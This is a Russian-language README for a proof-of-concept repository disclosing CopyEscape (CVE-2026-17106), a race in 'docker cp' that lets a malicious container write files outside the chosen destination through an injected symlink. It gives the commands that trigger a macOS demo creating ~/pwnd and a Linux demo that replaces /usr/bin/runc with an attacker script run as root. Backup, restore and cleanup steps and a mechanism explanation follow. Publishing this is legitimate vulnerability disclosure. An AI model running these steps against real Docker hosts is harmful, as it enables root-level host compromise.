
PoC-репозиторий для поста в блоге CopyEscape: захват Docker-хостов с помощью docker cp
docker cp (CVE-2026-17106)Это PoC-репозиторий для статьи в блоге CopyEscape: захват хостов Docker с помощью docker cp — CVE-2026-17106.
CopyEscape позволяет вредоносному запущенному контейнеру вступить в гонку с генератором архивов Docker и создать несогласованный tar-поток. Уязвимый клиент Docker затем может перейти по внедрённой символической ссылке во время извлечения и записать данные за пределы локального назначения, выбранного пользователем, запустившим docker cp.
Репозиторий содержит две демонстрации:
macos/ содержит неразрушающую демонстрацию для Docker Desktop, которая создаёт ~/pwnd на хосте macOS.linux/ содержит оригинальную Linux-демонстрацию с высокой степенью воздействия, которая перезаписывает /usr/bin/runc и создаёт /imperva_red_team при выполнении заменённой среды выполнения.[!WARNING] Запускайте эти PoC только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Linux-PoC намеренно заменяет
/usr/bin/runc; используйте одноразовую виртуальную машину и сделайте проверенную резервную копию перед его запуском.
/usr/bin/runc.PoC были разработаны и протестированы с Docker Engine/CLI 29.6.1 и Docker Desktop 4.81.0. Исправленные версии должны отклонять вредоносный архив или завершать копирование без записи за пределы выбранного назначения.
~/pwndЭта демонстрация нацелена на домашний каталог пользователя, запускающего Docker CLI. Она отказывается продолжать работу, если ~/pwnd или локальный файл назначения file.txt уже существуют.
Запуск:
cd macos
./demo-macos.sh
Скрипт собирает образ, запускает подготовленный контейнер, подтверждает, что /watched/file.txt выглядит как обычный файл внутри него, и запускает:
docker cp <demo-container>:/watched/file.txt ./file.txt
В уязвимой версии Docker Desktop копирование создаёт:
~/pwnd
со следующим содержимым:
COPYESCAPE_MACOS_DEMO
Очистка:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] Эта демонстрация временно делает среду выполнения хоста Docker непригодной к использованию и выполняет управляемую атакующим замену с правами root. Используйте одноразовую виртуальную машину. После завершения
docker cpвосстановитеruncперед выполнением любой другой команды Docker.
Откройте root-оболочку и перейдите в каталог Linux-PoC:
sudo -s
cd linux
Создайте и проверьте резервную копию перед началом теста:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
Соберите образ:
docker build -t copyescape-linux .
Запустите подготовленный контейнер в первом терминале:
docker run --name copyescape-linux copyescape-linux
Во втором root-терминале подтвердите, что подготовленный путь выглядит как обычный файл для процесса внутри контейнера:
docker exec copyescape-linux cat /watched/file.txt
Ожидаемый вывод:
top-level file
Активируйте уязвимость:
docker cp copyescape-linux:/watched/file.txt ./file.txt
В уязвимой версии Docker файл /usr/bin/runc теперь содержит PoC-скрипт оболочки. Выполнение заменённой среды выполнения создаёт маркер, принадлежащий root:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
Немедленно восстановите исходную среду выполнения, прежде чем выполнять другую команду Docker:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
После восстановления и проверки runc удалите оставшиеся тестовые артефакты:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
Оба PoC представляют /watched/file.txt как обычный файл для процессов, работающих в контейнере, тогда как демон Docker видит нижележащий каталог. Во время обхода файловой системы Docker монитор заменяет каталог подготовленной абсолютной символической ссылкой. Полученный tar-поток содержит символическую ссылку, за которой следует дочерняя запись, расположенная под ней. Уязвимый клиент Docker создаёт символическую ссылку, а затем извлекает через неё дочернюю запись в файловую систему клиента.
Финальная запись выполняется с правами процесса, запустившего docker cp.